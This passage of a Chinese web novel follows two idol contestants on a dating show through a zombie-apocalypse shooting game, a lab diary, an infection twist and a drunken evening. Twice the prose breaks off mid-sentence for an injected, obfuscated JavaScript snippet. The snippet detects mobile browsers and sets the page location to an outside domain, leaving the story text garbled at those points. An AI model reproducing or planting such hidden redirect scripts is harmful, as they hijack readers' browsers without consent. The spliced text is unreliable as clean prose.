透明通道对实验体来说是绝佳的防护罩,殷潚手持双枪,伏低身体,分别对着林露秋和松穆的方位瞄准。 他的打法比想象中激进,子弹源源不断发出,几乎将手枪用出了机关枪的架势。 实验体的阵营天赋叫【血痕弹匣】,他们可以以自身血量为引,转化成子弹,是个优缺点都很明显的技能。 殷潚的攻势凶猛,根本不顾自己跳红的血条,甚至有一路朝着松穆突进的趋势,林露秋在扫射中连中三枪,血管空了大半,他当机立断不再和他们对峙,朝窗口比了个手势,而后绕着建筑重新翻进研究所。 松穆接收到信号,估算着殷潚他们和自己的距离,一边撤出二楼一边埋了不少陷阱。 他的状态不太乐观,血量只堪堪剩下两百,弹药见底,混战之中还折损了不少道具。 二楼的实验室依旧亮着那排仿佛永昼般的大灯,走廊逼仄,被两边密密麻麻的房间包围夹困,时间久了会生出自己才是实验体的错觉。 监控的屏蔽时间已经结束,摄像头漆黑,泛着红光的眼正死死盯着未被受邀的外来之客。 鞋底与瓷砖相碰,踩出细碎的回声,松穆握着枪,在这沉寂压抑的氛围中,忽的停在了某一处。 他侧目,看向了那扇腐朽破旧的门。 . 林露秋进入室内后并没有急着和松穆汇合,反而绕路来到了实验体宿舍。 出于监测与安全性的考虑,实验体都是分开关押的,且随着危险系数的升高,房间设施也跟着变化。 比如1楼就是最普通的实验体,甚至大半都是要计划销毁的,2-3是较为成功的实验体,需要进行下一步的训练。 而四楼的实验体,最完美,也最危险,祂们能消化甚至吞噬丧尸病毒,由此进化出为自己所用的武器。 这样的能力在末世称得上可怖,研究所对此展现出了前所未有的复杂情绪,他们既欣喜,又害怕,担忧着未来某一天被亲手养出的怪物折断、撕碎,而后再以这样的心情如痴如醉地加强在实验中的凌虐。 恐惧只是疯子所有情绪中最微不足道的一种。 宿舍没有地下楼层,林露秋以最快的速度扫荡完1-3层,意料之中毫无收获。 想想也是,毕竟殷潚和隗立宵在这里呆了这么久。 相比其他楼层,四楼的房间就大得有些夸张了,偌大的空间只分割成了三份,林露秋挨个看过去,上面分别是三个相邻的编号: 【AES-001】 【AES-002】 【AES-003】 林露秋记得殷潚和隗立宵的项圈上分别是002和003。 ......那001呢?001是谁,现在又在哪里? 林露秋皱了下眉,不知为何心中有些不安。 总觉得有什么重要的念头一闪而过,但怎么都捕捉不到。 AES-001的房间很干净,林露秋推门进去的时候差点以为自己误入了某个酒店套房。 除了某些细节上的东西,譬如毫无死角的监控、垂在半空的特制锁链,以及托盘上的空管针剂,整间房间都正常得不可思议。 不像别的实验体那样睡在休眠舱中,一张又软又大的床被安置在了中央,除此之外,屋内还放了床头柜、茶几、书架......甚至是沙发和电视。 没有人能想象到这是一个高阶实验体的住所。 但就是这样的“正常”,在末世中显得更为危险。 林露秋打起了十二分的精神来调查这间房间。 他找得尤为细致,在此期间右手一直警惕地没有离开过松穆的手枪,大约过了三五分钟,林露秋翻找的动作蓦地一顿。 耳边捕捉到了一抹细碎又沉闷的电流声,音量很轻,藏在房间的某处,像是小猫在抓挠毛线球。 林露秋顺着声音摸到了床下,床铺很大,但是也很轻,整个像是被挖了空,指节一敲便是响。 他试着推了把,竟然是能移动的。 移开床铺后,露出了隐藏在其下的暗格。 暗格并没有上锁,稍微向下一摁,门板就弹跳了出来,里面有三样东西,一本日记,一张ID卡,和一个叫不出名字的机器。 机器只有巴掌大,顶部的小灯正闪着光,先前的电流声就是由它发出来的。 林露秋拿起机器,后者“滴——”地振了下,紧接着,转入了一道熟悉的声音。 松穆:“喂,喂喂,林露秋,听得到吗?” 林露秋怔愣后回神,应道:“嗯。你现在在哪?” “研究所二楼,有一间房间能看到你这里。” 林露秋掀眸,走到了某一个监控下,仰头问:“能看到?” 他跑得有些热,长款的漆皮风衣被脱下挂在了一边,这会儿身上只穿了一件浅蓝色的绸制衬衫,腰线收紧,下摆被挎包压出一点褶皱,布料下包裹的双腿又细又长,领口解了两颗扣子。 站在监控另一端,甚至能看清锁骨上的那颗红痣。 清冷、漂亮,还有些危险的小研究员。 松穆似乎笑了声,“能。”他逗他,“还挺清楚的,你要不笑一下?这段放出去绝对好看。” 监控遍布在房间的各个角落,几乎从所有角度照出了林露秋的样子,画面中的人轻轻抿了下唇,眼尾下压,分明是想回嘴却硬生生忍下的模样。 于是松穆眼里笑意更深。 “真的,不骗你。头再抬一点,对镜头打个招呼,我看着呢。” 林露秋这回不忍了,他挑了下眉,握着枪又靠近了些,抬臂,用力把探头往下拽,几乎将镜头怼到自己的胸口。 满屏的监视器上唯有一个经过了剧烈晃动,等再停下,画面中轮廓分明的锁骨占了满屏。 他问:“够看了吗?” 松穆:“......” 松穆盯着林露秋起伏的喉结没有说话,过了片刻,才慌忙转 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实验体和人类的差异还是很大的,除了外表的异态,生活习性更是天差地别,充满了野兽的本能。 就算高阶实验体类人度最高,也没有像001这样的存在。 林露秋继续看下去,又过了一段时间,每一页上的文字都在逐渐变多。 【能理解一点话。交流,。、!】 【为什么不懂?无法交流。】 【实验,是人,对我,身体会疼。讨厌,疼。】 再往后,字迹开始变得漂亮,比划间不见了开始的别扭停顿,流畅又自然,其进步的速度快到令人毛骨悚然。 【监控的夺取比我想象中简单。那群人类已经发现了我的不同,但还是一点都不愿意远离,甚至愈发亢奋,该说是蠢,还是真的太过好学?】 【我能感觉到有东西在一点点靠近,快了,就快了。】 【他们以为驯服了我,但其实是我驯服了他们。我得到了所有想要的。】 【身体好像在发生变化,但人类竟然监测不出来,哈,有趣。】 【人类叫它们“丧尸”,一个很晦气但是很对胃口的名字。今后就归我了。】 【感谢这群“含辛茹苦”把我养大的蠢货,他们的血液将会是我们最好的养分。】 林露秋目光一凝,指尖倏地停在了最后一页。 【所以作为回报,我会把你留在最后。】 【亲爱的研究员,喜欢我送给你的礼物吗?】 这句带着浓烈恶意与嘲弄的话是用鲜血写下的,似乎犹觉不够,下方还颇为仔细地画了一个歪歪扭扭的猩红笑脸。 黏腻的、污浊的血淌过纸张,留下难以磨灭的痕迹,就像是被毒蛇捆缚,浑身都变得湿凉。 林露秋忍着满背的鸡皮疙瘩,一把合上了这本日记。 好在还有松穆陪着他,“这实验体好的不学尽学坏的,还玩恐吓呢。” “我看看......”那边传来模糊的纸页翻动声,随后是一声嗤笑,“哈,才三岁?小屁孩就是幼稚。” 林露秋失笑,“你连实验体都要嘲讽?”他攥紧ID卡起身,四肢在麻木后逐渐回温。 与此同时,脑海中一直浅淡的某条线逐渐清明了起来。 对啊...他怎么会忘了,这里是末世,是沦陷了的东三角基地研究所。 已经沦陷了的研究所,怎么可能安全到只有他们四个阵营的存在? 距离游戏开始已经过了很久,林露秋不知道他们还剩下多少时间,没工夫继续耽误在这里,他拿着勉强能充当对讲机的机器,脚步匆匆地离开了实验体宿舍。 “我现在往你那边走,然后一起去地下。001的身份我有点猜测,如果没错的话,祂应该......” 话音未落,林露秋的后半句话被粗暴地遏断在漫天的尖锐警报声中。 林露秋站在连接通道中,看见了令他终生难忘的一幕。 围栏外,是密密麻麻嘶吼着朝研究所袭来的尸群,满目横飞血肉,进攻速度极快,就像吞噬万物的深渊。 耳边,毫无情感的AI声从音质模糊的广播中响起,周围的一切灯光都在顷刻间变换,危险的红光大面积倾洒在各地,宛若蒙了一层挥散不去的血雾。 “紧急播报,监测到尸群袭击,请大家尽快回到房间并进行反锁,等待救援。” “紧急播报......” ...... 一片茫然的混乱绝望中,他听到松穆在喊他。 “林露秋!找个房间躲好,等我过来,别出去!” 他又重复了一遍,声音低哑却郑重。 “保护好自己,我来找你。” 16. 异化 坦白讲,林露秋的胆子并不小,但也远没有到泰山崩于前而色不变的地步,而眼下,这场游戏的规模显然已经远远超出了他的预期。 太过真实,以至于这份独属于末日的压迫感悄然压上了他的心头。 一时间,就连身份都变得模糊,他不再是舞台上光鲜亮丽的爱豆、艺人,转而成了被囚困在废弃大楼的研究员,平日里最为熟悉的场所异化为终末的绝路,他们会悄无声息地死在这场浩劫,等不到希望,也等不到明日的曙光。 林露秋深吸一口气,按捺下不合时宜的情绪,加快速度进入主建筑。 不知道节目组是从哪里请来的工作人员,身体素质都很高,广播才刚结束,就已经有丧尸陆陆续续闯进了研究所,走廊中回荡着凌乱厚重的脚步声。 毕竟是CS的游戏场地,研究所的内部很空旷,没什么可供躲藏的地点,林露秋眼见丧尸们正往楼上逼近,当机立断锁死楼梯间,走到四楼仓库中的电梯前。 林露秋举起通讯机器:“你那边还好吗,情况怎么样?” 松穆所在楼层偏低,不过三分钟,走廊上已经布满了丧尸的身影,好在他的状态已经补了回来,这会儿还算游刃有余。 “还行。”弹匣内的最后一发子弹射出,一枪爆了电梯外徘徊着的丧尸的头,松穆装着弹,抬手捻过耳垂上那颗耳钉。 耳钉的形状很特别,像是被烈火灼烧着的星星,中间镶嵌了一片月光石的碎片,晕彩得极为漂亮,蓝紫相间,折射出奇幻的光。 松穆的声音放轻了点,“我要出门了,待会儿就没法和你说话了。” 那边静了几秒,“......嗯。” “别怕,我很快就到。” 林露秋下意识想说没怕——尽管他不想承认自己的确是萌生了一些怯意,但双唇张了张,还是将话都咽了回去。 林露秋的自尊一向很高,他不爱向别人袒露自己的窘境,也从不轻易示弱,他那固执的骄傲早就扎进了皮肉筋骨,于是就连爱意都走得弯弯绕绕,满溢而缥缈。 偏偏他喜欢的是松穆,一个迟钝却赤忱的笨蛋。 一个他可以永远依靠的家人。 林露秋眸中漾开浅淡的笑意,也不禁放软了语调,像在撒娇,“嗯,那我等你,路上小心点。” “好。” 两人这会儿都有些恋恋不舍,但时间不等人,最后还是松穆咬牙先一步挂断了通讯。 他换成左手持枪,右手则抽出腰间的匕首横在身前,随后离开了房间。 许是清楚他们的意图,丧尸得到指令一窝蜂围堵在了电梯前,摆明是要拖延松穆的时间,后者看到眼前这一幕,面色冷了下来,五指收紧。 两边对峙中,松穆伏低身形,冲了过去。 . 与此同时,林露秋在通讯结束后迎来了一位不速之客。 紧闭的铁门被人从外侧敲响,林露秋的呼吸定住,目光落了过去。 铁门除了反锁外,还另外被林露秋加了一条拴在两头的锁链,此刻这条锁链正随着敲门的动静前后晃动,垂下的链条打在门板,又是一阵细碎的动静。 地板上的陷阱还保留着最开始林露秋和松穆离开时的样子,可当他从宿舍返回的时候,门锁却没有像预想中那样反锁,轻轻一压便能推开。 这样的迹象只能说明两种情况。 1.曾经有其他手握ID卡的玩家从电梯进入过仓库。 2.门锁能从外部打开。 林露秋无法确定,但只有一点是毋庸置疑的,仓库不安全。 看似封闭的地方,实则漏洞百出。 林露秋很警惕地没有发出任何声音,抬起了弹药充足的手枪,他屏息等待着对方离开,不过很可惜,驻足在门外的人默了片刻,竟然开口了。 柯响屈起指节毫无规律地敲击了几声,“小秋哥,开下门呗,下面好多丧尸呢。” 一门之隔的室内一片死寂,柯响也不着急,自顾自说道:“哥,你应该知道了吧,丧尸群这次的进攻并非偶然,而是被操控的,它们的目标就是要清缴研究所剩下的所有人。反正我们现在也逃不出去,干脆结个盟,至少多一个人就多一分胜算。” 林露秋握在扳机上的指尖已经在缓缓收紧,他不知道对方是从何得知自己的位置,但总归意图不明,无法轻信。 仓库的货架勉强能作为遮挡物,林露秋朝隐蔽的方向移动了些位置,紧盯着那扇不算牢固的铁门,盘算松穆什么时候才能赶到。 他的药剂只适合在长战线的时候磨血量,打爆发很容易吃亏。 所以绝对不能赌正面对战。 “但多一个人也多一份风险。”林露秋思绪回转,毫不留情指出,“谁能保证开了门后你不会射杀我?更何况我们是对抗赛,哪怕大家都死了,那也有个一二三的先后顺序。很不巧,我不想当那个给他人垫背的。” “看来是谈崩了?”柯响耸了耸肩,没怎么意外,“不过来都来了,我们干脆再聊会儿吧。哎,小秋哥,你就打算这么一直等着穆哥过来?万一他在楼下就被丧尸咬了呢,那你们还会继续组队吗?” 林露秋想都不想,“与你无关。” “真不要我留下?万一穆哥变异后失去了理智,我好歹还能吸引点注意。” 林露秋不出声了。 柯响等了一会儿,没再收到回复。明白了他的态度,柯响也不再自讨没趣,打了个响指,转身走了。 人是走了,留下的话还是挥散不去,林露秋又在原地等了三分钟,依旧没等来松穆,终于,他坐不住了。 林露秋摁下电梯,看着那漆黑的轿厢,没怎么犹豫,抬步进去。 . 二楼的丧尸数量比想象中还要多,松穆的额发已经全乱了,颈间溢出细密的汗珠,被他用手背一把抹去,白色的外套早就沾满了丧尸体内爆开的绿色血浆,连LOGO都涂抹得无法辨认。 在今天之前,他从没想过参加恋综竟然是这么考验战斗力的一件事。 好在以前练过,不然丢脸就丢大发了。 松穆闭着眼深深地呼出了一口气,他陪着这群卧虎藏龙的工作人员来回打了两轮群架,双臂因长时间发力而充血鼓胀,撑得内搭衬衫都紧绷了许多。 他还没彻底脱离状态,于是当背后响起脚步声的时候,松穆的第一反应是攻击。 黏着了丧尸血液的军用匕首在指间漂亮地划过半圈,衣角掀起,锋利尖端准确无误地抵上了来人的咽喉,似乎只要再靠近一步,就会被刺穿毙命。 只是这一次,先一步退开的是那把凌厉的匕首。 看清来人,松穆瞳孔微睁,反射性将匕首收回,尖端对着自己,他胸背挺直了一瞬,又很快放松,贴着林露秋卸了气势。 “怎么下来了,不是说我来找你吗?” 林露秋没好气地看了他一眼,“等你过来,游戏都差不多结束了。” “哪能啊。”松穆目光有点飘忽,无意识搓了搓颈侧,“就是稍微耽搁了一点。” 便携式摄像还明晃晃挂在身前,林露秋偏过身,隔空点了点松穆的脖颈,提醒,“这里,沾到东西了。” 是刺破丧尸肩头装置后炸开的道具血浆,星星点点溅出许多,被掌心一蹭,糊了厚重的一层,几乎看不清其下的皮肤。 “这儿?” “不是,再下面一点......还要下。” “......?”松穆支着脖子,歪头。 眼见他越擦越脏,林露秋只好硬生生忍下给他洗干净的冲动,“......算了,别管了。” 这样也挺帅的。 二楼的丧尸几乎被松穆屠完了,地上东倒西歪躺了一走廊的尸体,电梯那边密度最大,甚至叠了起来。 松穆护着林露秋往前走,一路上出人意料地平静,没再遇到挡路的丧尸。 林露秋问:“你还有多少子弹?”说完想把手枪还给他。 松穆没要,“够呢。你这药枪又没什么伤害,自己留着用。” 他把手枪塞回林露秋手里,又抽出他腰包中的ID卡,扫上感应器。 “滴——”地一声过后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960333|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通往B1的按钮亮了。 电梯缓慢下行,当楼层由【1】跳转为【B1】的瞬间,像素状的数字闪动变形,面板由4开始倒数,最终缓缓定格成研究所的LOGO。 轿厢猛地停下,震动着打开了轿门。 两人迈步出去,倒映在门板上的影子随着动作放大扭曲,沿着边缘一路被吸进了门框的缝隙。 B1相比较其他楼层,面积很小,只有一个完整的空间,被光影分割成了鲜明的两半,左边是纯粹的白,右边则被浓稠墨色吞没,漆黑如幕。 中央摆放了一个通顶的巨大培养舱,饱和度极高的蓝色培养液灌满其中,在瞬间吸引了他们的目光。 松穆虚揽着林露秋的腰和他调换位置,自己走在右侧,肩头与暗色一擦而过,他掀眸,看着培养舱中央悬浮着的机械心脏,“这就是核心样本?” 林露秋对照着腕表中的信息,点头,“对,心脏的左心室和右心室注射了两种超高浓度的病毒血清,但左心房和右心房又分别以抗体作为填充净化,加上来自AES级实验体的组织细胞,循环中整个心脏的细胞活跃度达到了前所未有的高度。既是剧毒,也能作为绝佳的解药。” 关于核心样本的描述中,还有这样一句话。 【全人类的希望,全人类的绝望。】 只要打破这颗倾注了全研究所心血铸成的机械心脏,那丧尸就再不会是人类所惧怕的对象。 因为人类会“进化”成比那更为可怖的存在。 林露秋看着面前的操作面板,颇为头疼。 机械心脏没法离开培养舱,一旦没有能量的补充,核心样本会以肉眼可见的速度瓦解,最终变为一堆废弃药剂。 也就是说,他们必须在现在做下决定。 放弃核心样本,那么尸潮爆发,人类将会走向灭亡。 如果使用样本,丧尸灭绝,但人类...... 人类或许会接替成为新的“丧尸”。 难怪001会这么好心把ID卡留下,原来存着的是这样的心思——祂想看他们死亡,无论是以什么样的方式。 林露秋揉了揉额角,不禁腹诽。 不是CS吗...... 松穆站在一旁,难得什么都没说,只静静看着他,眸中情绪冗杂。 氛围停滞中,耳边忽然响起了电梯运行的声音,林露秋回头,看到了从上面走下的两个人。 柯响与尤卜。 奇怪的是,两人的阵营服装都染上了浓厚的尸血,腕表的灯已经灭了,瞳孔尖竖,獠牙醒目。 而他们的颈侧,横着三道尸爪留下的刺骨血痕。 林露秋眸光一凛,瞬间反应过来,他举枪对准两人的头部,“你们被感染了?” 虽然是问句,可林露秋的语调很肯定,他摸上腰间针剂,警告,“再靠近的话,我不保证我的枪会不会走火。” 柯响举着双手讨饶般笑了笑,“小秋哥,我都没带枪。” 尤卜则勾唇打了声招呼,“叨扰了。” 但这么说完,两人依旧没有停下脚步的样子,几步一迈,竟是没多久就走了一半的路程。 林露秋果断扣下扳机,枪枪命中。 出乎意料,柯响和尤卜丝毫没受影响,反倒晃了晃腕表,告诉他,“我们已经死了。” 已经死了,又怎么会掉血。 林露秋愣了。 官方挂......怎么打? 游戏时间拉得太长,林露秋这会儿已经有点困乏了,他这枪举也不是,放也不是,一时竟然有些卡壳。 犹豫间,身侧忽然伸出一只手,轻轻把他的枪压了下去。 松穆指节擦过林露秋的耳垂,将他炸毛的发尾捋顺,“枪对他们没用。” 林露秋没有躲开,甚至没有偏头,依旧维持着那个姿势,睫毛颤了颤,在眼下打下一片阴影。 他的视野有点失真,心跳得很快。 因为林露秋才发现,那只手上的腕表,是暗的。 而此刻,这只手缓慢又轻柔地,覆上了他的脖颈。 17. 醉酒 许是一直握着枪管的缘故,松穆的指尖很冰,抚上来的时候让林露秋一阵头皮发麻。 不自觉缩了缩脖颈,林露秋掌心撑着台面,后仰着睨向松穆。 蓝色的培养液笼罩在林露秋身上,像是将大海藏进了他的眼底,波光晃动间,林露秋撩了下眼皮,面孔冷淡而昳丽。 饶是前后的路都堵死了,他依旧没露出一点惊慌,反倒饶有兴致地问,“所以,你现在是背叛我了吗,歼灭官先生?” 两人吵架的时候总喜欢喊些生疏到极致的称呼,左一口您好,右一口先生,偏偏这一次话语中不含任何刺痛嘲讽,语调悠悠,将尾音拉得柔缓,像一把暧昧的钩子。 林露秋是带着笑意的,尽管眼下他的处境实在危险。松穆的指腹已经搭上了他的喉结,在颤动中一寸一寸向下、摁压。 呼吸微微收紧,林露秋甚至能听到自己心跳的回响,松穆半阖着眼皮,眸中光影起伏明灭,拉着他,缩进了与自己的距离。 “阁下。”松穆说,“我永远忠于自己心。” 林露秋盯着松穆的表情看了会儿,忽然抬臂去探他的颈侧,后者没挣扎,反而偏了下头势任由他动作。 绿色的血浆很快染脏了白皙的手指,林露秋用了些力才把松穆的脖颈擦干净,没了血浆的遮挡,底下掩藏着的爪痕一览无遗,皮肤边缘有些泛红,是被他搓出来的。 尸潮来势汹汹,当时在低楼层的几人无一例外都被袭击感染,松穆已经算撑得久的,但最终还是抗不过人海战术。 被丧尸感染后的玩家拥有两个选择,一是普通变异,即成为普通丧尸,所处阵营不变,可以继续游戏,但将更容易被射杀,且有存活时间限制。 二是接受特殊异变,身份更改为第五方阵营“儡”,游戏期间不再受伤死亡,与其他四个阵营为敌,主线任务也随之更替为感染其他人类和破坏核心样本。 换而言之,现在房间内三个人的攻击目标都是林露秋,偏偏他还没办法反击,堪称绝路。 林露秋跑也跑不掉,索性把累赘的药剂步枪一抛,手枪则在指间转了个圈,握把轻拍在松穆胸口,又顺着直接插入对方腰包。 一套动作做得行云流水,他摊开双臂,笑得满是无所谓,“那现在你想怎么处置我?” 怎么处置? 松穆没想过这个问题,他才刚被感染就遇到了林露秋,匆忙之下只来得及掩盖异变的痕迹,连改妆都没赶上。 他的行动是茫然的,没有明确的目的,只因为想,所以做了。 在林露秋面前他好像一直是被推着走的那个,情绪也好,行动也罢,交融在一起,将他变成了一颗只想围绕着林露秋转的卫星。 就连被丧尸挠了一爪子,他想的也是林露秋。 想陪他,所以不能太容易死。 那就异变吧。 仅仅如此。 但—— 林露秋此刻就在他怀里,毫无防备地,说任他处置。 松穆在那一瞬间受到了莫大的诱惑,情绪升腾得突然,丝丝密密缠紧了他,以至于牙根隐隐发痒,心房膨胀。 思绪齿轮艰难转动,松穆出神片刻才发现自己笑了,他松开扣在林露秋脖颈上的手,借着外套的遮挡掐住对方的胯骨。 指腹隔着布料无意识捻着,松穆舌头刮过齿尖,垂着头低低地笑,“想怎么都可以?” 林露秋耸肩,“那就要看你的本事了。” 他态度很挑衅,松穆也确实被激到了,几乎控制不住想咬他一口。 “不是怕吗?”松穆问。 “怕啊......”林露秋眯着眼叹了口气,“这么说会让歼灭官大人手上留情吗?” 他的后缀又很有眼色地变了。 松穆不知道。 但这么多年的经验告诉他,但凡林露秋对他示了几分弱,自己肯定会当场丢盔弃甲。 正想开口,头顶的大灯忽然开了,刺目的白光唰唰打下,几乎把整个B1染成纯白一片。 两人同时偏头。 另外半边空间映入眼帘,暗色下隐藏的,是一个成人高的白色舱体。 开关边的柯响吹了声口哨,抬手,“不好意思哈,没想打扰你们的。不过这灯可能一时半会儿就关不了了,二位自便。” 尤卜的行动更快,已经摸上了舱体边缘。 这下林露秋和松穆也没了继续的兴致,他们默契地重新拉开距离,一起走到空间另一半。 “这是......?” 尤卜的长发沾上了点点血渍,他不甚在意地将垂下的碎发拨到耳后,念道:“防护舱,仅可容纳一人,开启后可隔离核心样本的病毒辐射。” 说完,柯响已经打开了防护舱。 防护舱做得很逼真,胶囊状,有两层防护罩,中央匀出可供一人站立的空位,边缘软软的,触感像真皮沙发。 还没等几人琢磨出防护舱的用途,全程一言不发的松穆忽然动了,他左手攥着步枪将柯响和尤卜猛地隔开了两米多的距离,而后一把扯过林露秋,将人塞进防护舱,合上舱门。 他这套动作实在太快,又太出乎意料,以至于在场的另外三人都没反应过来。 直到松穆跑到了操作台前,柯响才暗骂了一声,边跑边冲尤卜喊:“开舱门!快点把这哥薅出来!” 儡的目的是摧毁核心样本并感染所有玩家,但要是其他阵营率先启用核心样本,他们的任务便前功尽弃。 原本尤卜和柯响看着松穆和林露秋相处得不错就没凑上去,谁知道松穆身在曹营心在汉,一心只想保住林露秋,连阵营任务都不管了。 游戏最后的结果不仅和排名有关,更是紧紧绑定着之后的约会体验,另外两人自然着急。 柯响跟在松穆后面追,尤卜就负责用林露秋来阻止松穆,只要防护舱不启用,林露秋没有抵抗样本的手段,之后还是会转变为和他们一样的生物。 他直觉松穆和林露秋都不喜欢这个结局。 尤卜的动作很快,他在侧边找到了开舱按钮,眼疾手快就要往下摁,只是没想到那个按钮设置得极其小,边缘又围着铁圈,他做着美甲,根本摁不下去。 尤卜额角一跳,换了个角度继续戳,按钮向下动了动,指腹却还是就这么滑了过去。 尤卜:“......” 他一向带着优雅笑意的脸上,竟然隐隐有些扭曲。 就这么一个失误的时间,给足了松穆机会,他绕开柯响的阻挡向前一扑,想也没想,径直拍下了核心样本的启动键! 样本释放,机械心脏开始了运转,一时间,从培养舱为圆心,四周冒出了浓郁的白雾,雾气氤氲,转瞬吞噬了三人的身影,而后不停上升、外溢。 不知过了多久,覆盖在研究所的红光消失,四周只剩下了一片惊人的寂静。 就好像什么都没有发生过。 . 而被莫名其妙关在防护舱的林露秋什么都不知道。 早在舱门关上的时候,足足两层的防护罩就把外界的一切都隔断了,玻璃做了真空,隔音效果好到离谱,林露秋就这么躺着,然后眼睁睁看着面前的防护罩凭空弹出了一行字。 【监测到您的心率过高,需要为您安排静心服务吗?】 林露秋:“?” 他目光迟疑地落在四周,然后才吐出一个“是”。 【好的,正在为您播放[舒缓的轻音乐],请您闭上双眼,沉浸在音乐的按摩中。】 “......” 小小的防护舱内开始播放起了音乐,林露秋本来有点忍不住想吐槽两句,但紧接着,他就说不出话了。 因为这个防护舱,竟然真的能按摩。 林露秋心情复杂地闭上了眼。 算了,来都来了。 ...... 直到所有流程结束,松穆从防护舱把人捞出来的时候,林露秋眸中的水意还没褪去。 他浑身软趴趴的,感觉下一秒就能原地入睡。 防护舱:【感谢您的使用,欢迎下次光临^^】 松穆:“?” 什么东西在说话? . 分开修整的时候出了个小插曲,负责林露秋和松穆组的收音老师忽然鬼鬼祟祟地挪了过来,先是分别给他们塞了一个黄澄澄的橘子,然后才委婉地留了一句。 “那个,两位老师,就是录制过程中啊,我们后边都是能听到声音的......” 说完,也不看他们的反应,闷头走了。 松穆听着这没头没尾的话一头雾水。 什么叫“都能听到”,这不对吗?他们戴着麦呢,当然能听到声音了,不然节目录什么啊。 倒是林露秋想起了什么,眉心不免一跳。 游戏里那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14960334|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话......在别人眼里也不知道到底算互掐还是聊骚。 感觉大概率是前者。 毕竟他和松穆连CP超话都被炸了不下三次。 林露秋暗自咬了下牙。 晚饭吃的是烤全羊,也清楚这群嘉宾一天下来被玩得挺惨,节目组很好心地没再设置任何环节,只大手一挥,让他们敞开吃,吃不饱都不许走。 八个人坐了一桌,免不了开始复盘。 尸群来临的时候实际只剩了五个人,在此之前松穆击杀了温白,薛常击杀了隗立宵,而殷潚击杀了薛常。 林露秋好奇:“那小潚你一直在哪?” 殷潚吐出嘴里的鸡翅骨头,指了指房顶,“研究所最上面有个天台,还挺隐蔽的,我看你们打这么激烈想着能苟住也不错,就没下来。” 结果最后还是被辐射成了变种丧尸。 林露秋:“你一直在上面?可四楼不是......” “上锁了是吧?”殷潚了然,淡淡吐出一句,“哦,我看那个锁芯结构挺简单的,就试着撬开了。” 林露秋默默张开了嘴。 好意想不到的方式。 松穆看他这幅受到冲击呆呆的样子觉得有趣,故意夹了一根青椒丝喂到他嘴边。 林露秋还没回神,习惯性去咬,咬到一半发现不对劲,鼻翼耸了耸,闻到那股令人讨厌的味道后瞬间睁大眼睛,舌尖呸呸呸往外吐。 他偏头瞪了眼松穆,发尾都有些翘起。 偏偏罪魁祸首还乐呵着呢,没轻没重拍了下他的上臂,把人推得一晃,“叫你吃饭不专心,哈哈哈哈!” 松穆的笑声在林露秋的瞪视中逐渐消了下去,他干咳两声,拿着杯子喝了口水,一只手还把林露秋的一起移了过去,“......咳,喝点水吧,把味道压下去就好了。” 林露秋幽幽看着他,一口把杯子里的水喝完了。 独自心虚的松穆没发现,林露秋喝完水后给自己续上的是酒。 等到察觉不对的时候已经晚了。 林露秋白的烧的啤的混着喝,上脸很快,他越醉,越想贴着松穆,到最后连手都撑到了对方的椅子上。 甚至还在继续,不安分地直接滑进了他两腿之间。 松穆被他摸得吓了一跳,差点原地弹起来,他看清林露秋泛红的眼尾,赶紧和众人打了声招呼,半抱着人出去休息。 这会儿也顾不上别人投来的欲言又止的目光了。 他了解林露秋,这家伙酒量一般,酒品也一般,每次喝醉都爱对他动手动脚。 虽然不是特别闹腾,属于松穆能应付的范围内,但到底这会儿还在外面,松穆不敢拿两人的脸面做赌注。 直到车门阖上,松穆才松了一口气。 他把醉醺醺的林露秋放到床上,弯腰给他脱鞋。 但才脱到一半,林露秋就不乐意了,他歪靠在床头,抬脚抵住松穆的肩膀。 下摆因为这个动作翻起,露出一截细白腰肢,林露秋的腰腹肌肉练得漂亮,薄薄一层,但摸上去又软又韧,腰线收紧处垂了一根腰链,吊坠贴着那条浅淡却分明的马甲线上下起伏。 他长发半散,垂在肩头,带着些朦胧的凌乱。可就算在这种情形下,林露秋依旧不显丝毫的狼狈,面上醺红,反倒衬得本就精致的五官愈发秾丽。 林露秋头晕,眯着眼看了半天才看清松穆的脸,也不管对方唇瓣开开合合说着什么,伸手就是一拽。 怕挣扎间伤到林露秋,松穆不敢用力,就这么被一个醉鬼拉上了床,卡在了腿间。 房车的床不大,容纳两个成年男性实在勉强,松穆被迫压低身形,浑身都有些不自在。 这个距离......太近了,近到能闻到林露秋身上的酒味。 松穆不喜欢这个味道。 他更喜欢对方身上的桂花香。 似乎是察觉松穆有些走神,林露秋不满地蹙了下眉。 他掌心还攥着松穆的项链,锁链状的边缘在皮肤上勒出一点凹陷红痕,林露秋美眸半睁,自下而上扫过松穆的唇、鼻、眼,屈起腿,轻轻笑了声。 “松穆......”咬字被酒浸泡得沙哑圆糯,耳语般吹拂过松穆的呼吸,林露秋一边收紧了手中的力道,一边牵着他握上了自己的侧腰。 林露秋弯眸问他,笑得纯粹又勾人,“我用你的项链改的,好不好看?” 18. 心跳 松穆摩挲着那根腰链,指腹时不时擦过林露秋光滑的腰腹,感受他随着呼吸细微的颤动。 手中这一握腰很窄,用虎口就能掐住,要是指腹再用点力,还能感受到其下正兴奋跳动的血管,那条银链就这么晃眼地横在腰间,又藏了一半在布料之下。 